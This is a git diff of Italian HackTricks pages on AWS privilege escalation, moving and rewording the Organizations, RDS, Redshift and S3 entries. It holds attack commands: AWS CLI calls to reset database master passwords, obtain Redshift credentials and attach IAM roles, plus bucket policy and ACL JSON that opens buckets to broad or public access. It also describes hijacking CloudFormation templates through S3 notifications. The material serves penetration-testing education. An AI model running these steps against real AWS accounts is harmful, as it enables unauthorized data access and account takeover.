-Per [**scoprire come controllare questa pagina**](../#compromising-the-organization).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
new file mode 100644
index 000000000..719bf898f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
@@ -0,0 +1,18 @@
+# AWS - Organizations Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+## From management Account to children accounts
+
+Se comprometti il root/management account, è probabile che tu possa compromettere tutti i children accounts.\
+Per [**scoprire come, consulta questa pagina**](../../index.html#compromising-the-organization).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
index 162312db1..78e5e8252 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - RDS Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## RDS - Servizio di Database Relazionale
+## RDS - Servizio di database relazionale
 
-Per ulteriori informazioni su RDS controlla:
+Per ulteriori informazioni su RDS consulta:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:ModifyDBInstance`
 
-Con quel permesso un attaccante può **modificare la password dell'utente master**, e il login all'interno del database:
+Con tale permesso un attaccante può **modificare la password dell'utente master**, e il login all'interno del database:
 ```bash
 # Get the DB username, db name and address
 aws rds describe-db-instances
@@ -27,28 +27,28 @@ aws rds modify-db-instance \
 psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
 ```
 > [!WARNING]
-> Dovrai essere in grado di **contattare il database** (di solito sono accessibili solo da reti interne).
+> Dovrai essere in grado di **contattare il database** (di solito sono accessibili solo dall'interno delle reti).
 
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei database.
+**Potenziale Impatto:** Trovare informazioni sensibili all'interno dei database.
 
 ### rds-db:connect
 
-Secondo le [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utente con questo permesso potrebbe connettersi all'istanza DB.
+According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
 
-### Abuso dei permessi IAM del ruolo RDS
+### Abusare dei permessi IAM del ruolo RDS
 
 #### Postgresql (Aurora)
 
 > [!TIP]
-> Se eseguendo **`SELECT datname FROM pg_database;`** trovi un database chiamato **`rdsadmin`**, sai di essere all'interno di un **database postgresql AWS**.
+> Se eseguendo **`SELECT datname FROM pg_database;`** trovi un database chiamato **`rdsadmin`** sai di essere all'interno di un database **AWS postgresql**.
 
-Prima puoi controllare se questo database è stato utilizzato per accedere a qualsiasi altro servizio AWS. Potresti controllare questo guardando le estensioni installate:
+Per prima cosa puoi verificare se questo database è stato usato per accedere ad altri servizi AWS. Puoi verificarlo osservando le estensioni installate:
 ```sql
 SELECT * FROM pg_extension;
 ```
-Se trovi qualcosa come **`aws_s3`** puoi assumere che questo database ha **una sorta di accesso a S3** (ci sono altre estensioni come **`aws_ml`** e **`aws_lambda`**).
+Se trovi qualcosa come **`aws_s3`** puoi assumere che questo database abbia **qualche tipo di accesso a S3** (ci sono altre estensioni come **`aws_ml`** e **`aws_lambda`**).
 
-Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi vedere lì se il **cluster ha qualche ruolo IAM associato** nel campo **`AssociatedRoles`**. Se presente, puoi assumere che il database fosse **preparato per accedere ad altri servizi AWS**. Basandoti sul **nome del ruolo** (o se riesci a ottenere i **permessi** del ruolo) potresti **indovinare** quale accesso extra ha il database.
+Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare lì se il **cluster ha qualche IAM Role associato** nel campo **`AssociatedRoles`**. Se presente, puoi presumere che il database sia stato **preparato per accedere ad altri servizi AWS**. In base al **nome del ruolo** (o se riesci ad ottenere i **permessi** del ruolo) potresti **indovinare** quali accessi aggiuntivi ha il database.
 
 Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
 ```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
 // Delete table
 DROP TABLE ttemp;
 ```
-Se avessi **credenziali AWS grezze** potresti anche usarle per accedere ai dati S3 con:
+Se disponessi di **raw AWS credentials** potresti anche usarle per accedere ai dati S3 con:
 ```sql
 SELECT aws_s3.table_import_from_s3(
 't', '', '(format csv)',
@@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 );
 ```
 > [!NOTE]
-> Postgresql **non ha bisogno di cambiare alcuna variabile del gruppo di parametri** per poter accedere a S3.
+> Postgresql **non ha bisogno di cambiare alcuna variabile del parameter group** per poter accedere a S3.
 
 #### Mysql (Aurora)
 
 > [!TIP]
-> All'interno di un mysql, se esegui la query **`SELECT User, Host FROM mysql.user;`** e c'è un utente chiamato **`rdsadmin`**, puoi assumere di essere all'interno di un **AWS RDS mysql db**.
+> All'interno di un mysql, se esegui la query **`SELECT User, Host FROM mysql.user;`** e c'è un utente chiamato **`rdsadmin`**, puoi assumere di essere dentro un **AWS RDS mysql db**.
 
-All'interno del mysql esegui **`show variables;`** e se le variabili come **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, hanno valori, puoi assumere che il database sia preparato per accedere ai dati S3.
+All'interno del mysql esegui **`show variables;`** e se variabili come **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, hanno dei valori, puoi assumere che il database sia preparato per accedere ai dati su S3.
 
-Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi controllare se il cluster ha qualche **ruolo associato**, il che di solito significa accesso ai servizi AWS).
+Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare se il cluster ha un **ruolo associato**, il che di solito significa accesso ai servizi AWS).
 
 Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
 ```sql
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
 ```
 ### `rds:AddRoleToDBCluster`, `iam:PassRole`
 
-Un attaccante con i permessi `rds:AddRoleToDBCluster` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe consentire all'attaccante di **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
+Un attacker con i permessi `rds:AddRoleToDBCluster` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attacker di **accedere a dati sensibili** o di modificare i dati all'interno dell'istanza.
 ```bash
 aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
 ```
-**Impatto Potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.\
-Nota che alcuni DB richiedono configurazioni aggiuntive come Mysql, che deve specificare l'ARN del ruolo nei gruppi di parametri.
+**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.\
+Nota che alcuni DBs richiedono configurazioni aggiuntive come Mysql, che necessita anche di specificare il role ARN nei parameter groups.
 
 ### `rds:CreateDBInstance`
 
-Solo con questo permesso un attaccante potrebbe creare una **nuova istanza all'interno di un cluster** che esiste già e ha un **ruolo IAM** allegato. Non sarà in grado di cambiare la password dell'utente master, ma potrebbe essere in grado di esporre la nuova istanza del database a Internet:
+Solo con questa autorizzazione un attacker potrebbe creare una **nuova istanza all'interno di un cluster** che già esiste e ha un **IAM role** associato. Non sarà in grado di cambiare la master user password, ma potrebbe essere in grado di esporre la nuova istanza di database su Internet:
 ```bash
 aws --region eu-west-1 --profile none-priv rds create-db-instance \
 --db-instance-identifier mydbinstance2 \
@@ -122,30 +122,30 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 ### `rds:CreateDBInstance`, `iam:PassRole`
 
 > [!NOTE]
-> TODO: Test
+> TODO: Da testare
 
-Un attaccante con i permessi `rds:CreateDBInstance` e `iam:PassRole` può **creare una nuova istanza RDS con un ruolo specificato allegato**. L'attaccante può quindi potenzialmente **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
+Un attaccante con i permessi `rds:CreateDBInstance` e `iam:PassRole` può **creare una nuova istanza RDS con un ruolo specificato allegato**. L'attaccante può poi potenzialmente **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
 
 > [!WARNING]
-> Alcuni requisiti del ruolo/profilo istanza da allegare (da [**qui**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+> Alcuni requisiti del role/instance-profile da allegare (da [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
 
-> - Il profilo deve esistere nel tuo account.
-> - Il profilo deve avere un ruolo IAM che Amazon EC2 ha il permesso di assumere.
-> - Il nome del profilo istanza e il nome del ruolo IAM associato devono iniziare con il prefisso `AWSRDSCustom`.
+> - The profile must exist in your account.
+> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
+> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
 ```bash
 aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
 ```
-**Impatto Potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.
+**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.
 
 ### `rds:AddRoleToDBInstance`, `iam:PassRole`
 
-Un attaccante con i permessi `rds:AddRoleToDBInstance` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe consentire all'attaccante di **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
+Un attaccante con i permessi `rds:AddRoleToDBInstance` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attaccante di **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
 
 > [!WARNING]
 > L'istanza DB deve essere al di fuori di un cluster per questo
 ```bash
 aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
 ```
-**Impatto Potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.
+**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
index 7538ac8d7..7db84e56f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
@@ -1,56 +1,56 @@
 # AWS - Redshift Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Redshift
 
-Per ulteriori informazioni su RDS controlla:
+Per maggiori informazioni su RDS consulta:
 
 {{#ref}}
-../aws-services/aws-redshift-enum.md
+../../aws-services/aws-redshift-enum.md
 {{#endref}}
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
 
-Con questi permessi puoi ottenere **info di tutti i cluster** (incluso nome e nome utente del cluster) e **ottenere credenziali** per accedervi:
+Con queste autorizzazioni puoi ottenere **le informazioni di tutti i cluster** (inclusi nome e nome utente del cluster) e **ottenere credenziali** per accedervi:
 ```bash
 # Get creds
 aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
 ```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei database.
+**Impatto potenziale:** Trovare informazioni sensibili all'interno dei database.
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
 
-Con questi permessi puoi ottenere **info di tutti i cluster** e **ottenere credenziali** per accedervi.\
-Nota che l'utente postgres avrà i **permessi che l'identità IAM** utilizzata per ottenere le credenziali ha.
+Con questi permessi puoi ottenere **informazioni su tutti i cluster** e **ottenere credenziali** per accedervi.\
+Nota che l'utente postgres avrà i **permessi che l'IAM identity** usata per ottenere le credenziali ha.
 ```bash
 # Get creds
 aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
 ```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei database.
+**Impatto potenziale:** Trovare informazioni sensibili all'interno dei database.
 
 ### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
 
-È possibile **modificare la password principale** dell'utente postgres interno (redshit) da aws cli (penso che queste siano le autorizzazioni necessarie, ma non le ho ancora testate):
+È possibile **modificare la password principale** dell'utente interno postgres (redshit) da aws cli (penso che questi siano i permessi necessari ma non li ho ancora testati):
 ```
 aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
 ```
-**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei database.
+**Potential Impact:** Trovare informazioni sensibili all'interno dei database.
 
-## Accesso ai Servizi Esterni
+## Accessing External Services
 
 > [!WARNING]
-> Per accedere a tutte le risorse seguenti, è necessario **specificare il ruolo da utilizzare**. Un cluster Redshift **può avere assegnata una lista di ruoli AWS** che puoi utilizzare **se conosci l'ARN** oppure puoi semplicemente impostare "**default**" per utilizzare quello predefinito assegnato.
-
-> Inoltre, come [**spiegato qui**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift consente anche di concatenare ruoli (purché il primo possa assumere il secondo) per ottenere ulteriori accessi, ma semplicemente **separandoli** con una **virgola**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> Per accedere a tutte le risorse seguenti, dovrai **specificare il ruolo da utilizzare**. Un cluster Redshift **può avere assegnata una lista di ruoli AWS** che puoi usare **se conosci l'ARN** oppure puoi semplicemente impostare "**default**" per usare quello predefinito assegnato.
+>
+> Inoltre, come [**spiegato qui**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift permette anche di concatenare ruoli (a patto che il primo possa assumere il secondo) per ottenere ulteriori accessi ma semplicemente **separandoli** con una **virgola**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
 
 ### Lambdas
 
-Come spiegato in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), è possibile **chiamare una funzione lambda da redshift** con qualcosa come:
+Come spiegato in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), è possibile **chiamare una funzione Lambda da Redshift** con qualcosa del genere:
 ```sql
 CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
 RETURNS INT
@@ -82,14 +82,14 @@ from 'dynamodb://ProductCatalog'
 iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
 ```
 > [!WARNING]
-> La tabella Amazon DynamoDB che fornisce i dati deve essere creata nella stessa Regione AWS del tuo cluster a meno che tu non utilizzi l'opzione [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) per specificare la Regione AWS in cui si trova la tabella Amazon DynamoDB.
+> La tabella Amazon DynamoDB che fornisce i dati deve essere creata nella stessa AWS Region del tuo cluster a meno che tu non utilizzi l'opzione [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) per specificare la AWS Region in cui si trova la tabella Amazon DynamoDB.
 
 ### EMR
 
-Controlla [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
+Consulta [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
 
 ## Riferimenti
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
deleted file mode 100644
index b72108dc5..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ /dev/null
@@ -1,186 +0,0 @@
-# AWS - S3 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-
-Un attaccante con questi permessi su bucket interessanti potrebbe essere in grado di dirottare risorse ed elevare i privilegi.
-
-Ad esempio, un attaccante con questi **permessi su un bucket cloudformation** chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di dirottare il deployment. L'accesso può essere concesso con la seguente policy:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": [
-"s3:PutBucketNotification",
-"s3:GetBucketNotification",
-"s3:PutObject",
-"s3:GetObject"
-],
-"Resource": [
-"arn:aws:s3:::cf-templates-*/*",
-"arn:aws:s3:::cf-templates-*"
-]
-},
-{
-"Effect": "Allow",
-"Action": "s3:ListAllMyBuckets",
-"Resource": "*"
-}
-]
-}
-```
-E l'hijack è possibile perché c'è un **breve intervallo di tempo dal momento in cui il template viene caricato** nel bucket al momento in cui il **template viene distribuito**. Un attaccante potrebbe semplicemente creare una **lambda function** nel suo account che si **attiva quando viene inviata una notifica del bucket**, e **hijack** il **contenuto** di quel **bucket**.
-
-![](<../../../images/image (174).png>)
-
-Il modulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) può essere utilizzato per automatizzare questo attacco.\
-Per ulteriori informazioni, controlla la ricerca originale: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
-
-### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
-
-Queste sono le autorizzazioni per **ottenere e caricare oggetti su S3**. Diversi servizi all'interno di AWS (e al di fuori di esso) utilizzano lo storage S3 per memorizzare **file di configurazione**.\
-Un attaccante con **accesso in lettura** a questi file potrebbe trovare **informazioni sensibili** in essi.\
-Un attaccante con **accesso in scrittura** a questi file potrebbe **modificare i dati per abusare di qualche servizio e cercare di elevare i privilegi**.\
-Ecco alcuni esempi:
-
-- Se un'istanza EC2 memorizza i **dati utente in un bucket S3**, un attaccante potrebbe modificarli per **eseguire codice arbitrario all'interno dell'istanza EC2**.
-
-### `s3:PutObject`, `s3:GetObject` (opzionale) su file di stato terraform
-
-È molto comune che i file di stato [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) vengano salvati nello storage blob dei fornitori di cloud, ad esempio AWS S3. Il suffisso del file per un file di stato è `.tfstate`, e i nomi dei bucket spesso rivelano che contengono file di stato terraform. Di solito, ogni account AWS ha un bucket di questo tipo per memorizzare i file di stato che mostrano lo stato dell'account.\
-Inoltre, di solito, nel mondo reale, quasi sempre tutti gli sviluppatori hanno `s3:*` e a volte anche gli utenti aziendali hanno `s3:Put*`.
-
-Quindi, se hai le autorizzazioni elencate su questi file, c'è un vettore di attacco che ti consente di ottenere RCE nella pipeline con i privilegi di `terraform` - per la maggior parte delle volte `AdministratorAccess`, rendendoti l'amministratore dell'account cloud. Inoltre, puoi utilizzare quel vettore per effettuare un attacco di denial of service facendo sì che `terraform` elimini risorse legittime.
-
-Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina *Terraform Security* per codice di exploit direttamente utilizzabile:
-
-{{#ref}}
-../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
-{{#endref}}
-
-### `s3:PutBucketPolicy`
-
-Un attaccante, che deve essere **dallo stesso account**, altrimenti si attiverà l'errore `The specified method is not allowed`, con questo permesso sarà in grado di concedersi ulteriori autorizzazioni sui bucket, permettendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket.
-```bash
-# Update Bucket policy
-aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
-
-## JSON giving permissions to a user and mantaining some previous root access
-{
-"Id": "Policy1568185116930",
-"Version":"2012-10-17",
-"Statement":[
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:root"
-},
-"Action":"s3:ListBucket",
-"Resource":"arn:aws:s3:::somebucketname"
-},
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:user/username"
-},
-"Action":"s3:*",
-"Resource":"arn:aws:s3:::somebucketname/*"
-}
-]
-}
-
-## JSON Public policy example
-### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
-{
-"Id": "Policy1568185116930",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Stmt1568184932403",
-"Action": [
-"s3:ListBucket"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome",
-"Principal": "*"
-},
-{
-"Sid": "Stmt1568185007451",
-"Action": [
-"s3:GetObject"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome/*",
-"Principal": "*"
-}
-]
-}
-```
-### `s3:GetBucketAcl`, `s3:PutBucketAcl`
-
-Un attaccante potrebbe abusare di questi permessi per **concedersi più accesso** su specifici bucket.\
-Nota che l'attaccante non deve essere dello stesso account. Inoltre, l'accesso in scrittura
-```bash
-# Update bucket ACL
-aws s3api get-bucket-acl --bucket <bucket-name>
-aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "<DisplayName>",
-"ID": "<ID>"
-},
-"Grants": [
-{
-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-
-Un attaccante potrebbe abusare di questi permessi per concedersi un accesso maggiore su oggetti specifici all'interno dei bucket.
-```bash
-# Update bucket object ACL
-aws s3api get-object-acl --bucket <bucekt-name> --key flag
-aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "<DisplayName>",
-"ID": "<ID>"
-},
-"Grants": [
-{
-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-
-Un attaccante con questi privilegi dovrebbe essere in grado di impostare un Acl su una specifica versione dell'oggetto.
-```bash
-aws s3api get-object-acl --bucket <bucekt-name> --key flag
-aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
new file mode 100644
index 000000000..8624d71e8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -0,0 +1,186 @@
+# AWS - S3 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
+
+Un attacker con quei permissions su bucket interessanti potrebbe essere in grado di hijackare resources e di escalate privileges.
+
+Per esempio, un attacker con quei **permissions su un cloudformation bucket** chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di hijackare il deployment. L'accesso può essere concesso con la seguente policy:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": [
+"s3:PutBucketNotification",
+"s3:GetBucketNotification",
+"s3:PutObject",
+"s3:GetObject"
+],
+"Resource": [
+"arn:aws:s3:::cf-templates-*/*",
+"arn:aws:s3:::cf-templates-*"
+]
+},
+{
+"Effect": "Allow",
+"Action": "s3:ListAllMyBuckets",
+"Resource": "*"
+}
+]
+}
+```
+E il hijack è possibile perché esiste una **piccola finestra temporale dal momento in cui il template viene caricato** sul bucket fino al momento in cui il **template viene distribuito**. Un attacker potrebbe semplicemente creare una **lambda function** nel proprio account che **si attivi quando viene inviata una notificazione dal bucket**, e hijacks il **contenuto** di quel **bucket**.
+
+![](<../../../images/image (174).png>)
+
+Il Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) può essere usato per automatizzare questo attacco.\
+Per maggiori informazioni controlla la ricerca originale: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+
+### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
+
+Questi sono i permessi per **ottenere e caricare oggetti su S3**. Diversi servizi all'interno di AWS (e al di fuori) usano lo storage S3 per conservare **config files**.\
+Un attacker con **read access** a questi file potrebbe trovare **informazioni sensibili** al loro interno.\
+Un attacker con **write access** potrebbe **modificare i dati per abusare di qualche servizio e provare a escalare i privilegi**.\
+Ecco qualche esempio:
+
+- Se un'istanza EC2 memorizza la **user data in un S3 bucket**, un attacker potrebbe modificarla per **eseguire codice arbitrario all'interno dell'istanza EC2**.
+
+### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
+
+È molto comune che i state file di [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) vengano salvati nei blob storage dei cloud provider, es. AWS S3. Il suffisso del file per uno state file è `.tfstate`, e i nomi dei bucket spesso rivelano che contengono terraform state files. Di solito, ogni account AWS ha un bucket del genere per conservare gli state file che mostrano lo stato dell'account.  
+Inoltre, nel mondo reale quasi sempre tutti gli sviluppatori hanno `s3:*` e talvolta anche utenti business hanno `s3:Put*`.
+
+Quindi, se hai i permessi elencati su questi file, esiste un vettore d'attacco che ti permette di ottenere RCE nella pipeline con i privilegi di `terraform` — la maggior parte delle volte `AdministratorAccess`, rendendoti admin dell'account cloud. Inoltre, puoi usare quel vettore per effettuare un denial of service facendo sì che `terraform` cancelli risorse legittime.
+
+Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina *Terraform Security* per codice exploit direttamente utilizzabile:
+
+{{#ref}}
+../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
+{{#endref}}
+
+### `s3:PutBucketPolicy`
+
+An attacker, che deve essere **dello stesso account**, altrimenti scatterà l'errore `The specified method is not allowed will trigger`, con questo permesso potrà concedersi più permessi sui bucket permettendogli di leggere, scrivere, modificare, cancellare ed esporre i bucket.
+```bash
+# Update Bucket policy
+aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
+
+## JSON giving permissions to a user and mantaining some previous root access
+{
+"Id": "Policy1568185116930",
+"Version":"2012-10-17",
+"Statement":[
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:root"
+},
+"Action":"s3:ListBucket",
+"Resource":"arn:aws:s3:::somebucketname"
+},
+{
+"Effect":"Allow",
+"Principal":{
